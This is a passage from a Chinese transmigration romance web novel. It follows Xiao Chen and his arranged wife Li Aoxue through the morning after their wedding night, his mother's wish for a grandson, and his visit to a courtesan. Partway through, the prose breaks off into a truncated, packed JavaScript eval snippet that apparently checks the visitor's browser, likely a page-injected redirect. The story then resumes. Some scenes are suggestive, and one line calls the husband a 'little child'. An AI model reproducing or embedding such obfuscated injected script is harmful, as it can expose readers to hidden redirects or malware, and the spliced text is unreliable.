不知过了多久,激情的浪潮逐渐退去,两人相拥而卧。李傲雪脸颊依旧泛着红晕,轻轻依偎在肖晨怀里,眼神中满是满足与羞涩。肖晨则温柔地抚摸着她的秀发,在她额头上落下轻轻一吻,低声说道:“傲雪,委屈你了。” 李傲雪微微摇了摇头,轻声说道:“只要能和你在一起,为肖家延续香火,我不觉得委屈。”说完,她抬起头,与肖晨目光交汇,眼中满是深情与眷恋。 两人在这温馨静谧的氛围中,又轻声交谈了许久,彼此倾诉着内心的爱意与对未来的期许。渐渐地,困意袭来,他们相拥着进入了甜美的梦乡。 第二天清晨,晨曦透过窗户轻柔地洒在床榻上。李傲雪悠悠转醒,刚一动弹,便忍不住轻呼出声,浑身的酸痛瞬间袭来,像是无数细密的针在扎。她的身子不由自主地微微颤抖,尽管昨夜是自己主动挑起情事,可后来肖晨的激烈,实在超出她的预料。 她嘟囔着,声音带着刚睡醒的慵懒与一丝娇嗔:“一个小孩子哪来那么多力气,折腾得我这会儿像散了架似的。”回想起昨夜种种,她的脸颊又悄悄泛起红晕,心中却又带着一丝甜蜜与羞涩交织的复杂情绪。 她小心翼翼地想要坐起身,却感觉每一处关节都在抗议。好不容易撑起身子,靠在床头,看着身旁还在熟睡的肖晨,忍不住轻轻戳了戳他的脸颊,小声嘀咕:“都怪你。”可那眼神里,却尽是藏不住的温柔与爱意。 这时,肖晨似乎察觉到了动静,缓缓睁开眼睛,看到李傲雪醒了,眼中闪过一丝关切,连忙问道:“傲雪,你怎么样?是不是身体不舒服?”看到她微红的脸颊和微微颤抖的身躯,瞬间明白过来,眼中满是歉意,“对不起,傲雪,昨晚我……是不是太鲁莽了。” 李傲雪微微抿唇,脸上带着羞涩又满足的浅笑,轻声说道:“少爷,我没事,你能碰我我就已经很开心了。以后我会照你说的做,多做几件衣服。只要你能多疼我就好。”她的眼神温柔而真挚,仿佛昨夜的疲惫与酸痛都被此刻的幸福所取代。 肖晨心疼地将她揽入怀中,轻轻抚摸着她的发丝,一脸歉意地说道:“是我不好,昨晚没控制好。你放心,以后我定会更加疼惜你。”说罢,在她额头落下一吻,满是宠溺。 李傲雪依偎在他怀里,感受着他的温柔与关怀,心中满是甜蜜。她微微仰头,看着肖晨,俏皮地说道:“那少爷可要说话算话,以后不许嫌弃我。” 肖晨抱紧了她,坚定地说道:“怎么会嫌弃你,你是我此生挚爱,我只会越来越珍惜你。” 肖晨轻轻放开李傲雪,温柔地看着她,说道:“我去穿衣洗漱,你就待在床上休息吧。”眼神里满是心疼与关切。 李傲雪连忙摇了摇头,挣扎着想要起身,嘴里说道:“少爷,我不起来谁来伺候你。”在她的观念里,照顾丈夫本就是分内之事。 肖晨赶忙按住她,语气不容置疑:“我不用伺候,你还是小心自己的身体。”他看着李傲雪微微颤抖的身躯,想到昨夜自己的莽撞,心里满是愧疚,“你现在身体不适,好好休息才是要紧事,这些琐事自有下人去做。” 李傲雪见肖晨这般坚持,心中涌起一股暖流,只好听话地点点头:“那好吧,少爷,你自己注意些。” 肖晨微笑着点点头,起身穿衣,动作利落。洗漱完毕后,他又回到床边,俯下身轻轻在李傲雪额头上吻了一下,说道:“我先去处理些事务,你要是有什么需要,就叫丫鬟。”说罢,这才转身离开房间,留下李傲雪靠在床头,眼中满是眷恋地看着他离去的背影。 肖母听着丫鬟眉飞色舞的汇报,脸上顿时笑开了花,高兴得合不拢嘴。她一刻也等不及,赶忙迈着轻快的步伐来到了李傲雪的房间。 一进门,看到靠在床头的李傲雪,肖母脸上的笑意更浓了,径直走到床边坐下,拉过李傲雪的手,喜滋滋地说道:“昨天的事情看来你做的不错。”李傲雪本就还有些羞涩,被肖母这么一说,脸“唰”地一下又红了,低着头,小声说道:“母亲过奖了,都是儿媳应该做的。” 肖母拍了拍她的手,满脸欣慰:“你能明白事理,为咱们肖家着想,我很是欢喜。以后啊,可得继续和晨儿好好相处,早日给我添个大胖孙子。”李傲雪轻轻点头,轻声应道:“儿媳定会努力,不辜负母亲的期望。” 肖母又打量了一下李傲雪的气色,关切地说:“看你脸色有些疲惫,是不是晨儿昨夜太莽撞了?你可得好好调养身子。有什么想要吃的,尽管跟厨房说。”李傲雪羞涩地笑了笑,说道:“多谢母亲关心,儿媳并无大碍,休息几日便好。” 肖母兴致勃勃地从袖中拿出一张图样,递到李傲雪面前,说道:“我听说你的绣工不错,这是我拿来的图样,你就按照这上面的款式去做衣服。晚上穿给自己的男人看。” 李傲雪接过图样,展开一看,只见上面的衣服款式大胆又别致,脸颊瞬间泛起红晕。她犹豫了一下,嗫嚅道:“母亲,这……”肖母拍了拍她的手,笑着说:“别害羞,夫妻之间就该有些情趣。你绣工好,做出来肯定好看,晨儿见了保准欢喜。” 李傲雪无奈地点点头,轻声应道:“儿媳明白了,只是这针法可能复杂些,需要些时日。”肖母笑着起身,说道:“不急不急,你慢慢做,做好了让我瞧瞧。我就盼着你们小两口和和美美,早日开枝散叶。”说完,便满意地离开了房间。 李傲雪看着手中的图样,轻轻叹了口气。尽管心中羞涩,但想到肖母的期望和对肖晨的感情,她还是决定用心将这衣服绣好。于是,她唤来丫鬟准备好针线布料,坐在窗前,专注地开始研究起图样上的针法,阳光洒落在她身上,映出她认真又略带羞涩的神情。 肖晨结束了一天的读书课业,觉着烦闷,便踱步来到自家店铺。掌柜老远瞧见少爷身影,赶忙笑脸相迎,好奇问道:“少爷,今日怎么想着来店里啦?” 肖晨微微苦笑,说道:“出来散散心罢了。”他环顾店内,各种货物摆放得整整齐齐,伙计们各司其职,忙碌而有序。然而,他的心思却不在这店铺的生意上。昨夜与李傲雪的亲密接触,让他心中既甜蜜又有些隐隐的担忧。甜蜜于两人感情的升温,担忧的是怕自己的鲁莽给李傲雪带来伤害。 掌柜见肖晨神情若有所思,以为他在考量店铺生意,赶忙凑上前说道:“少爷,最近店里生意不错,新上的那批绸缎,颇受主顾们喜爱,没几天就卖出好些。”肖晨心不在焉地点点头,随口应道:“嗯,做得好。不过,做生意不能只看眼前,还得留意着同行的动静,不断推陈出新才是。” 掌柜连连称是,又絮絮叨叨汇报了些账目上的事宜。肖晨听着,思绪却飘回到家中,想着李傲雪此刻在做什么,身体是否还难受。过了一会儿,他对掌柜说道:“我四处看看,你去忙你的吧。”说罢,便在店铺里慢慢踱步,可脑海中始终萦绕着李傲雪的身影。 肖晨灵光一闪,转头对掌柜说道:“你去寻些身材出众的男女,按照咱们店里各款式的衣服,重新设计一番,让他们穿上展示。如此一来,说不定能吸引更多人光顾。” 掌柜微微一愣,随即面露难色:“少爷,虽说这法子新奇,可一时间要找那么多身材好的男女,还得按要求设计衣服,怕是有些困难。而且,这展示衣服的方式,会不会太出挑,招来些闲言碎语?” 肖晨摆了摆手,自信满满道:“办法总比困难多。你多花些银子,去那戏班子、歌舞坊找找,定能寻到合适的人。至于闲言碎语,咱们做生意,只要能把买卖盘活,有些议论怕什么。只要展示得当,顾客们瞧着新鲜,自然会被吸引过来。” 掌柜思索片刻,觉得少爷所言有理,便点头应下:“是,少爷。我这就去安排,只是这设计衣服,还需少爷您定夺些细节,也好让裁缝们知晓方向。” 肖晨点点头,兴致勃勃地与掌柜商议起来,从衣服的剪裁、配色,到展示时的搭配、场景布置,两人讨论得热火朝天。肖晨心中满是期待,盼望着这新颖的展示方式能给店铺带来新的生机与活力,让生意愈发兴隆。 两人商讨许久,肖晨将诸多细节一一敲定,掌柜这才赶忙去着手安排。肖晨又在店里巡视了一圈,交代伙计们保持店面整洁,货物摆放规整,这才离开店铺,满心期待地回家。 一进家门,他径直走向自己和李傲雪的院子。刚踏入房门,便看到李傲雪正坐在窗前,专注地绣着手中的布料。阳光透 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两人正说着,肖晨突然想起李傲雪身体或许还未恢复,心疼地说:“傲雪,你别太累着自己,这衣服慢慢绣也无妨。昨日……我是不是太不知轻重,让你受苦了?”李傲雪脸颊微微泛红,轻轻捶了一下肖晨的肩膀:“少爷说什么呢,我知道你是真心待我。而且,能与少爷这般亲近,我心里欢喜还来不及。” 肖晨将李傲雪拥入怀中,轻声说道:“你如此体谅我,我更该好好待你。等店铺这事儿有了成效,我带你出去好好游玩一番,也让你散散心。”李傲雪依偎在他怀里,脸上洋溢着幸福的笑容。 李傲雪眼眸含情,声音软糯:“少爷你真好,我好喜欢你。” 肖晨轻抚她的发丝,神色认真,缓缓问道:“如果我不是现在的我,而是变了一个人。你还会不会喜欢我?” 李傲雪微微一愣,随即毫不犹豫地抬起头,目光坚定地看着肖晨,说道:“少爷怎会突然这般问?无论你变成什么样子,我喜欢的都是你这个人,是你的温柔体贴,是你对我的真心,这些都不会因为外在改变而消失。就算你不再是如今的身份,模样也变了,可只要灵魂还是你,我对你的心意便永远不会变。” 肖晨听了她这番话,心中满是感动,将她搂得更紧,感慨道:“傲雪,能得你这般深情,是我几世修来的福气。我不过是突然生出这般奇怪念头,没想到你竟回答得如此真挚。” 李傲雪仰头看着他,俏皮一笑:“少爷以后可别再胡思乱想啦,咱们定会一直恩恩爱爱。倒是少爷,若我变了模样,你还会像现在这般喜欢我吗?” 肖晨低头,在她额头上落下一吻,郑重说道:“当然,不管怎样,我对你的喜欢只会有增无减。” 李傲雪脸上洋溢着幸福的笑容,说道:“有少爷这句话我就放心了,只要少爷在我身边就好。” 肖晨却像是来了兴致,又抛出一个奇特的问题:“要是我哪天变成了一个女子,你还会接受那样的我吗?” 李傲雪微微歪着头,眼中满是思索,片刻后,她莞尔一笑,轻柔地说:“少爷,在我心里,重要的是你这个人,是我们之间的情谊。就算你变成女子,你的性子、你的才情,还有我们相处的点点滴滴都不会改变呀。我想,我依然会像现在这样,珍视你、陪伴你。只要能与你相伴,性别又有何妨呢?” 肖晨听了她的回答,眼中闪过惊喜与感动,忍不住将她紧紧抱住,声音里带着一丝动容:“傲雪,你的回答总是让我如此惊喜。你这份深情,实在是世间罕有。” 李傲雪轻轻靠在肖晨怀里,娇嗔道:“少爷总是问些稀奇古怪的问题。不过呀,不管未来发生什么,我都愿与少爷一同面对。那少爷呢,要是我变成男子,少爷还能接受我吗?” 肖晨宠溺地刮了刮她的鼻子,笑着说:“当然能接受。不管你变成什么模样,何种身份,你永远是我最爱的傲雪,我对你的心意至死不渝。” 李傲雪一脸深情地凝望着肖晨,感慨道:“少爷,你跟我认知里的男子都不一样。这世间男子,大多轻视妻子,可你却这般尊重我、爱护我。而且,我从未见你对别的女人有过一丝欲望。” 肖晨温柔地握住她的手,目光诚挚:“傲雪,你是我携手一生的伴侣,理应被我尊重和爱护。至于其他女子,在我眼中不过是过客,我的心里自始至终只有你一人。夫妻之间,忠诚与深情本就是应有的。” 李傲雪眼中泛起感动的泪花,她微微哽咽着说:“能嫁给少爷,是我这辈子最幸运的事。我听闻不少妇人,在家中备受冷落,丈夫在外花天酒地,可我却能得少爷这般相待,实在幸福。” 肖晨轻轻为她拭去眼角的泪花,轻声安慰:“莫要哭,我既娶了你,便会一生护你周全,让你永远幸福。我们的日子还长,以后定会更加美满。”说着,他将李傲雪拥入怀中,轻轻抚摸着她的秀发,仿佛在向她承诺着永恒的守护。 25. 你为什么会嫁给我 肖晨望着怀中的李傲雪,眼中满是宠溺,柔声说道:“傲雪,以后你便叫我的名字吧,总叫我少爷,显得生疏了些。” 李傲雪微微一愣,脸上露出犹豫之色,轻声说道:“少爷,这不符合规矩啊。我自小受的教导便是要恪守本分,如此称呼实在万万不可以。”她低垂着眼眸,神情中透着一丝坚决。 肖晨无奈地叹了口气,轻轻捏了捏她的鼻子,笑着说:“罢了罢了,看来一时半会儿是改不了你的习惯了。那你还是继续叫我少爷吧。” 李傲雪抬起头,眼中带着歉意与感激:“少爷,还望您莫要怪罪,并非我不愿,只是这规矩在心中根深蒂固,一时难以改变。” 肖晨温柔地摸了摸她的头,说道:“我怎会怪罪于你,我明白你的顾虑。只要你在我身边,怎样称呼又有何妨。”李傲雪靠在肖晨怀里,感受着他的包容与理解,心中满是温暖。 肖晨微微皱眉,陷入回忆,却依旧无果,只得感慨:“在我的记忆里,你我确实都没有见过面。虽说咱俩定了娃娃亲,可关于你,我竟一点印象都没有。” 李傲雪轻轻一笑,耐心解释道:“少爷,按规矩,未婚男女成亲前是不可见面的。其实在你出生的时候,父母带我来你家串门,那时我才3岁 。你刚出生,谁抱都哭闹,可一看到我就笑了。长辈们见此情形,觉得咱俩有缘,这才把你我定了亲。” 肖晨听闻,眼中闪过一丝惊喜与好奇,细细打量着李傲雪,仿佛试图从她身上寻回那段缺失的记忆:“原来还有这般渊源,难怪长辈们那般笃定你我之事。” 李傲雪脸颊微微泛红,羞涩地低下头:“是啊,或许这就是缘分。自那之后,虽不能见面,但我心里,一直都记挂着少爷。” 肖晨轻轻握住李傲雪的手,深情说道:“如此看来,我们的缘分从那时便已种下。往后余生,我定不负这份上天赐予的缘分。 李傲雪微微垂眸,声音带着一丝羞怯与回忆:“我刚嫁进来的时候,满心都是担忧,就怕少爷会嫌弃我,不喜欢我。” 肖晨心中暗自苦笑,自己刚穿越过来,骤然面对这样的情境,看到她时着实吃了一惊。只是这缘由难以启齿,稍作思忖后,他开口说道:“刚开始嘛,毕竟你我都不熟,突然要我接受身边多了一个女人,我这心里确实还是有点难以适应。” 李傲雪轻轻点头,眼中满是理解:“我懂的,少爷。那时我也是满心忐忑,不知该如何与少爷相处。但相处下来,我才发觉少爷是这世上最好的人。”说着,她抬眸望向肖晨,目光中满是倾慕与深情。 肖晨看着李傲雪这般模样,心中泛起暖意,轻轻握住她的手:“好在如今我们也算相互了解了,往后的日子,我定不会再让你有这样的担忧。”李傲雪嘴角上扬,露出甜蜜的笑容,轻轻靠在肖晨肩头。 肖晨轻轻放开李傲雪,神色温和地说道:“我得出去看看,你继续做衣服吧。” 李傲雪乖巧地点点头,温柔叮嘱:“少爷,路上慢点。”待肖晨的身影消失在门口,她才暗暗松了口气,庆幸自己没让他看到正在做的暴露睡衣。她瞥了眼那件尚未完工的睡衣,脸颊微微泛红,想着等做好了,找个合适的时机再给他一个惊喜。随后,她重新专注于手中的针线活,一针一线,都缝进了她对肖晨满满的爱意与期待。 肖晨离开家门后,在市集精心挑选了些礼物,而后径直朝着河边走去。他来到停靠在岸边的一艘精致画舫前,从袖中掏出一锭银子,递给一旁等候的侍从,语气平和却带着不容拒绝:“带我去拜访丁香姑娘。” 侍从接过银子,脸上立刻堆满笑容,恭敬地引着肖晨登上画舫。此时,画舫内正热闹非凡,丁香一袭素色长裙,端坐在琴案前,玉指轻拨琴弦,灵动的音符如潺潺流水般倾泻而出,在座的客人们皆沉浸在这美妙的琴音之中。 肖晨在侍从引领下,悄然来到一旁落座,静静聆听着丁香的弹奏,目光在她身上若有所思地停留。 丁香在弹奏间不经意抬眸,目光触及肖晨的那一刻,眼中瞬间闪过惊喜与雀跃。她盼着他来听自己抚琴,已盼了许久,此刻如愿,手下的琴音也越发欢快灵动,似在诉说着满心的欢喜。 一曲终了,余音袅袅。肖晨不由自主地鼓起了掌,真诚赞叹道:“真好听。丁香姑娘琴艺精湛,这一曲如天籁之音,令我沉醉其中。” 丁香微微欠身,脸颊泛起一抹红晕,轻声说道:“多谢公子夸赞,能得公子欣赏,是丁香之荣幸。”她的目光羞涩地落在肖晨身上,似有千言万语藏在眼底。周围的客人也纷纷附和着对丁香琴艺的称赞,然而在这热闹之中,丁香眼中却只看得见肖晨一人。 肖晨笑着起身,走上前,将手中准备好的礼物递向丁香,说道:“听闻姑娘琴艺卓绝,一直想来拜访,今日终偿所愿。这小小礼物,不成敬意,还望姑娘笑纳。” 丁香略带羞涩地接过礼物,轻启朱唇:“公子如此破费,丁香实在过意不去。”她示意身旁丫鬟将礼物收下,又道:“不知公子可还有想听的曲目,丁香愿再为公子弹奏。” 肖晨思索片刻,说道:“那就劳烦姑娘来一曲《高山流水》吧。”丁香点头,调整了一下坐姿,便开始弹奏。那婉转悠扬的琴音再次响起,仿佛真的将巍峨高山与潺潺流水展现在众人面前。肖晨静静聆听,沉浸在这美妙的琴音中,脸上满是陶醉之色。 待一曲弹罢,肖晨不禁感慨:“姑娘琴音,将这知音难觅的意境展现得淋漓尽致,实在令人钦佩。”丁香微笑着回应:“公子谬赞了,弹琴不过是丁香聊以慰藉的方式,能得公子喜爱,也是丁香的福气。” 两人正说着,一旁的客人中有人认出了肖晨,低声议论起来:“这不是肖家少爷吗?听闻他刚成亲不久,怎么今日来这画舫听曲。”“是啊,虽说丁香姑娘琴艺无双,但肖少爷此举,恐怕会惹得家中夫人不快吧。”这些议论声虽不大,但还是隐隐传进了肖晨和丁香的耳中。 丁香微微皱眉,眼中闪过一丝担忧,看向肖晨:“公子,若是因为丁香,让您陷入流言蜚语之中,丁香实在过意不去。”肖晨却神色坦然,摆了摆手:“无妨,我不过是单纯欣赏姑娘的琴艺,清者自清。”然而,心中却也不禁泛起一丝涟漪,想到家中的李傲雪,不知她若听闻此事,会作何感想…… 他又想自己不过和丁香是知己,又没做出什么见不得人的事情,何必在意旁人的议论。想到这里,他神色自若地开口说到:“姑娘你有这么好的手艺,琴艺如此超凡脱俗,不如我把你的样子画下来如何?也算是将这美妙时刻留存。” 丁香微微一怔,脸颊瞬间飞起两朵红晕。她垂眸思索片刻,心中既有些羞涩,又难掩欣喜,毕竟能被心仪之人作画留存,是件极为浪漫之事。犹豫片刻后,她轻轻点头,声若蚊蝇:“若公子不嫌丁香貌丑,愿为公子作模特。” 肖晨微微一笑,吩咐侍从取来笔墨纸砚。他摆好画具,目光专注地凝视着丁香,试图将她的神韵一丝一毫地刻入心底。丁香微微侧身,端庄而优雅地坐着,微微低垂的眼眸、挺直的鼻梁、红润的嘴唇,在摇曳的烛光下,勾勒出一幅绝美的画面。 肖晨手中的画笔轻轻落下,在宣纸上缓缓游走。随着笔尖移动,丁香的轮廓渐渐在纸上浮现。他时而微微皱眉,仔细斟酌线条的走势;时而嘴角上扬,似乎对笔下的画作颇为满意。周围的喧嚣仿佛都已远去,此刻,他的眼中只有丁香和眼前这张宣纸。 不知过了多久,一幅栩栩如生的画像逐渐成形。肖晨搁下笔,轻轻吹了吹未干的墨迹,微笑着看向丁香:“姑娘,你看这画可还满意?” 丁香轻轻起身,款步走到肖晨身旁,目光落在那幅画像上。只见画上的自己,眉眼含情,神韵皆备,仿佛要从画中走出来一般。她不禁微微红了眼眶,轻声说道:“公子画技高超,丁香从未见过如此神形兼备的画像,实在……实在太喜欢了。” 肖晨看着丁香感动的模样,心中也满是欢喜:“姑娘喜欢便好,这画像也算是我对姑娘琴艺的一份敬意。”这时,一旁的侍从轻声提醒:“少爷,时候不早了,该回府了。” 肖晨这才回过神,意识到天色已晚。他心中虽还有些不舍,但想到家中的李傲雪,还是决定告辞。他看向丁香,说道:“今日聆听姑娘妙音,又为姑娘作画,实在是畅快。只是时候不早,我得回府了,改日若有机会,定再来聆听姑娘雅奏。” 丁香微微颔首,眼中闪过一丝落寞,但很快又恢复笑容:“公子事务繁忙,今日能来,丁香已深感荣幸,盼公子下次再来。” 肖晨带着侍从匆匆回到府中。刚进家门,便看到李傲雪正站在庭院中,神色有些焦急。看到肖晨回来,她快步迎上前:“少爷,你可算回来了,这么晚,是去了何处?” 肖晨心中一紧,犹豫片刻后,还是决定坦诚相告:“我去了河边画舫,听一位叫丁香的姑娘弹琴。她琴艺精湛,我一时沉醉,便回来晚了。” 李傲雪微微一愣,眼中闪过一丝复杂的神色,但很快又恢复平静,轻声说道:“少爷喜欢便好,只是下次,还望少爷早些回来,也好让我放心。” 肖晨看着李傲雪,心中有些愧疚:“是我疏忽了,让你担心。以后定会注意。”李傲雪微微一笑,说道:“少爷累了吧,我已让厨房备好了饭菜,快去吃些。”两人一同向屋内走去。 肖晨和李傲雪回到屋内,肖晨看着李傲雪,眼中满是关切:“你身体还没调养好,怎么就下床了?可别累着自己。” 李傲雪温柔地笑了笑,轻声说道:“不碍事的,少爷,我已经恢复了一些。这段日子,也冷落了少爷。要是少爷想……也是可以的。”说罢,她微微低下头,脸颊泛起一抹羞涩的红晕。 肖晨赶忙握住她的手,神情认真:“傲雪,你的身体才是最重要的。我在意的是你的健康,这些事不急。你先好好调养,莫要再为我操心。” 李傲雪抬眸,眼中闪烁着感动,轻轻靠在肖晨肩头:“少爷,能得你这般关怀,傲雪真的很幸福。”肖晨轻轻拍了拍她的背,说道:“傻姑娘,我们是夫妻,本就该相互关心。你快坐下,别站着了。”说着,扶着李傲雪坐到椅子上,又为她倒了杯热茶,屋内弥漫着温馨而宁静的气息。 她轻轻推开肖晨递来茶杯的手,脸上带着温婉的笑意,说道:“少爷我来就好,你赶快吃饭吧,要不菜都凉了。” 肖晨看着她,关切地问道:“那你吃了没有?要是没有吃就一起吃吧。” 李傲雪微微摇头,轻声说道:“我还没吃呢,本想着等少爷回来一起。” 肖晨闻言,笑着拉她在身旁坐下,说道:“那就好,咱们一起吃。今日在外面,还真有些想念你做的饭菜。”说罢,他拿起筷子,夹了一筷子菜放入李傲雪碗中,“你也多吃点,好好补补身体。” 李傲雪看着碗里的菜,心中满是暖意,也夹了菜给肖晨,“少爷也多吃,忙碌了一天,可要吃饱。” 饭桌上,两人你来我往,温馨的氛围愈发浓郁。肖晨看着李傲雪,心中不禁泛起一阵愧疚。今日去见丁香,虽说自认为问心无愧,只是纯粹欣赏琴艺,但毕竟让李傲雪担忧了。 他放下碗筷,认真地看着李傲雪:“傲雪,今日之事,是我考虑不周,没有顾及到你的感受,让你担心了,你别往心里去。” 李傲雪微微一怔,随后展颜一笑,眼中带着理解与温柔:“少爷言重了,我知道少爷不是那种风流之人,只是欣赏那姑娘的琴艺罢了。而且少爷坦诚相告,这是对我的信任,我怎会怪罪。” 肖晨握住李傲雪的手,语气诚恳:“傲雪,你如此善解人意,更让我觉得自己做得不好。以后我定会多注意,不让你再有丝毫不安。” 李傲雪轻轻点头,反握住肖晨的手:“少爷,夫妻之间贵在信任,我信你。只是,日后若再去,提前告知我一声,也好让我心里有底。” 肖晨连忙应道:“一定一定。你放心,以后不会再让你为这种事操心。”说完,他重新拿起碗筷,往李傲雪碗里又夹了些菜,“快吃,菜都快凉了。” 两人继续用餐,偶尔聊起一些家中琐事,气氛轻松愉悦。用过饭后,丫鬟进来收拾了碗筷。李傲雪起身,准备去沏壶茶,肖晨赶忙拦住她:“你身体刚好些,这些事让丫鬟来做,你坐下歇着。” 李傲雪笑着依言坐下,看着肖晨指挥丫鬟做事的模样,心中满是甜蜜。不一会儿,丫鬟沏好了茶,轻轻放在桌上。肖晨亲自为李傲雪倒了一杯,递到她手中:“尝尝,看看合不合口味。” 李傲雪接过茶杯,轻抿一口,笑着说道:“嗯,很好喝,少爷有心了。” 肖晨体贴地说道:“要是在这屋里闷,你可以叫玉溪来陪你,你们两个感情那么好,有个人也陪你说说话。” 李傲雪微笑着回应:“少爷,玉溪有自己的活要做,不能总因为我耽误她做事。而且我做衣服时,她在这里也不方便,万一打扰到她,或是让她分神做错了事,反倒不好。” 肖晨听她这么说,心中愈发觉得李傲雪懂事,点头道:“你总是这般体谅他人。那要是觉得无聊,你也可出府去走走,只要带几个侍从护着你便好。” 李傲雪轻轻摇头:“出府太过麻烦,况且外面人多嘈杂,我还是更喜欢待在府中,安静地做些自己喜欢的事。少爷不必为我忧心,我在府里也能过得自在。” 肖晨拉起她的手,目光温柔:“我只是担心你一个人会孤单。若你喜欢在府中,那我让人在花园里再添些你喜欢的花草,你平日里也能多去赏玩。” 李傲雪眼中闪过惊喜:“真的吗?少爷,那太好了。我一直想着花园要是能再多些蔷薇花就好了,它们开花时香气扑鼻,十分好看。” 肖晨宠溺地笑道:“这有何难,明日我就吩咐下去,让人尽快去办。往后你若还有其他想要的,只管告诉我。”李傲雪满心欢喜,轻轻靠在肖晨肩头:“多谢少爷,能与少爷相伴,傲雪别无所求。” 肖晨慢慢放开她,语气带着些疲惫:“都累了一天了,我们快点休息吧。” 李傲雪轻声应道:“那我先去换衣服。” 肖晨没多想,开始动手脱自己的衣服。 李傲雪走到衣柜前,拿出那件精心准备的暴露睡衣。她的心砰砰直跳,脸颊绯红,深吸一口气后,竟当着肖晨的面换了起来。她满心羞涩,却又带着一丝决然,心底想着,想让他看清楚自己的一切,想更亲近彼此。 肖晨不经意间抬眼,瞥见李傲雪的举动,顿时愣住,脸上迅速染上一抹红晕,下意识地想要别过头,却又仿佛被钉住般,目光有些不知所措。屋内的空气仿佛瞬间凝固,弥漫着一种别样的紧张与暧昧。 李傲雪换好睡衣,微微低着头,不敢直视肖晨的眼睛,声音轻得如同蚊蝇:“少爷……” 肖晨喉咙微微一动,好不容易找回自己的声音:“傲雪,你……”话到嘴边,却又不知该如何说下去,气氛变得愈发旖旎而微妙。 李傲雪身材若隐若现,在暖黄灯光的映照下,宛如一幅朦胧的画卷,一切都显得恰到好处。她微微仰头,带着一丝羞怯与期待,对肖晨说道:“少爷,我穿起来怎么样?” 肖晨喉咙发干,艰难地咽了咽口水,不由自主地说道:“你穿起来很诱人。”话一出口,他心中暗暗警醒自己,努力镇定下来,暗自思忖:“自己在现代,见过的女孩子多了,身体都一样,可不能这般失态。”然而,尽管心里这般想着,他的目光却还是忍不住在李傲雪身上流连,面上的红晕也未曾消退。 李傲雪见肖晨如此反应,心中既欢喜又羞涩,她缓缓走到肖晨身边,声音如同喃喃细语:“少爷,我……我想与你更亲近些。”肖晨只感觉自己的心跳如擂鼓,他伸出手,轻轻握住李傲雪的手,努力让自己的声音平稳:“傲雪,你如此……让我怎能不动心。” 她双颊绯红,带着几分娇憨与渴望,轻轻搂着他的脖子,微微踮起脚尖。肖晨瞬间意识到她的意图,心猛地一跳,忙不迭开口,声音带着一丝慌乱与掩饰:“我们快点睡吧,今天着实累坏了。” 李傲雪眼中闪过一丝失落,但很快又被温柔取代。她轻轻“嗯”了一声,松开搂着他脖子的手,乖巧地走到床边,轻轻掀开被子躺了进去。肖晨深吸一口气,努力平复着内心的波澜,也跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玉溪定了定神,回答道:“回少夫人,听说已经派人去寻了,想必过不了几日就能送到府中。” 李傲雪听了,眼中满是期待:“那就好,等蔷薇花来了,这花园定会更加好看。对了,你最近手头的活儿忙不忙?要是不忙,陪我在这花园里走走吧。” 玉溪连忙应道:“不忙的,少夫人。能陪少夫人散步,是我的荣幸。” 两人沿着花园小径缓缓前行,一路上李傲雪与玉溪分享着自己对花园布置的想法,还说着一些家中趣事。可玉溪却有些心不在焉,她实在难以将平日里端庄的少夫人与今早看到的形象联系起来,心里像揣了只小兔子般,七上八下的。 李傲雪察觉到玉溪的异样,停下脚步,关切地问道:“玉溪,你是不是有什么心事?怎么看起来心不在焉的,要是有难处,尽管跟我说。” 玉溪心中一惊,赶忙摇头:“少夫人,我没有心事,只是……只是今早看到少夫人的睡衣,一时有些诧异,还望少夫人恕罪。” 李傲雪这才明白过来,脸上也泛起红晕,但还是大方地说道:“无妨,那睡衣是我特意准备的,你也不必放在心上。以后若是有这种事,莫要多想便是。” 玉溪感激地看着李傲雪:“多谢少夫人宽宏大量,我以后不会再如此失态了。” 玉溪脸上带着一抹狡黠的笑意,凑近李傲雪,轻声打趣道:“少夫人,那你穿着那样的衣服,公子晚上就没舍得放开你?” 李傲雪顿时羞红了脸,轻啐一口:“你呀,净问些让人难以启齿的话。”她微微低下头,双手不自觉地揪着衣角,犹豫片刻后说道:“他……他并没有太多的欲望。”声音小得如同蚊蚋,满是女儿家的羞涩与尴尬。 玉溪眨了眨眼睛,脸上露出一丝疑惑,却又不好再多追问,只是笑着安抚:“少夫人别害羞,或许公子是心疼您身子尚未完全调养好呢。公子向来体贴,定是不愿因一时之事累着您。” 李傲雪微微点头,神色间虽还有些赧然,但也觉得玉溪说得在理:“嗯,少爷他确实一直对我关怀备至,想来是顾虑这个。”话虽如此,可心中还是难免泛起一丝难以言说的复杂情绪,既有对肖晨体贴的感动,又隐隐有些失落。 玉溪一脸艳羡地说道:“真羡慕少夫人有公子这样的夫君,咱们公子年纪轻轻,没想到还这么疼人。” 李傲雪轻轻叹了口气,眼中闪过一丝忧虑:“少爷确实是个好人,只是我们现在新婚没多久,往后日子还长着呢,我有时候忍不住想,要是日子久了,他会不会爱上别人……” 玉溪赶忙握住李傲雪的手,认真地说道:“少夫人可别这么想!公子对您的心意,府里上下都看在眼里。就说昨日,公子还惦记着给您在花园添您喜欢的蔷薇花呢。而且公子向来品性纯良,断不会做出那等负心之事。少夫人与公子如此恩爱,定能长长久久的。” 李傲雪听了玉溪的话,心中稍感宽慰,勉强笑了笑:“但愿如你所说吧。我与少爷情投意合,自然盼着能携手一生。只是这世间人心易变,难免让我有些患得患失。” 玉溪拍了拍李傲雪的手,坚定地说:“少夫人只管放宽心。平日里多与公子说些贴心话,把您的心意都告诉他。公子知道了您的担忧,定会更加珍惜少夫人的。再说了,少夫人这般温柔贤淑,又与公子情比金坚,旁人哪能轻易插足。” 李傲雪微微点头,深吸一口气:“嗯,你说得对,是我想得太多了。我该多些信任给少爷。有你在我身边开解我,真好。” 两人继续在花园中漫步,阳光暖暖地照着,仿佛也驱散了李傲雪心中那一丝阴霾,让她对与肖晨的未来,又多了几分坚定与期许。 肖母踱步至花园,瞧见李傲雪正悠闲地走动,便抬手示意周围众人退下。待四下无人,她靠近李傲雪,目光中透着关切与一丝急切,轻声问道:“你穿着那些睡衣效果怎么样?” 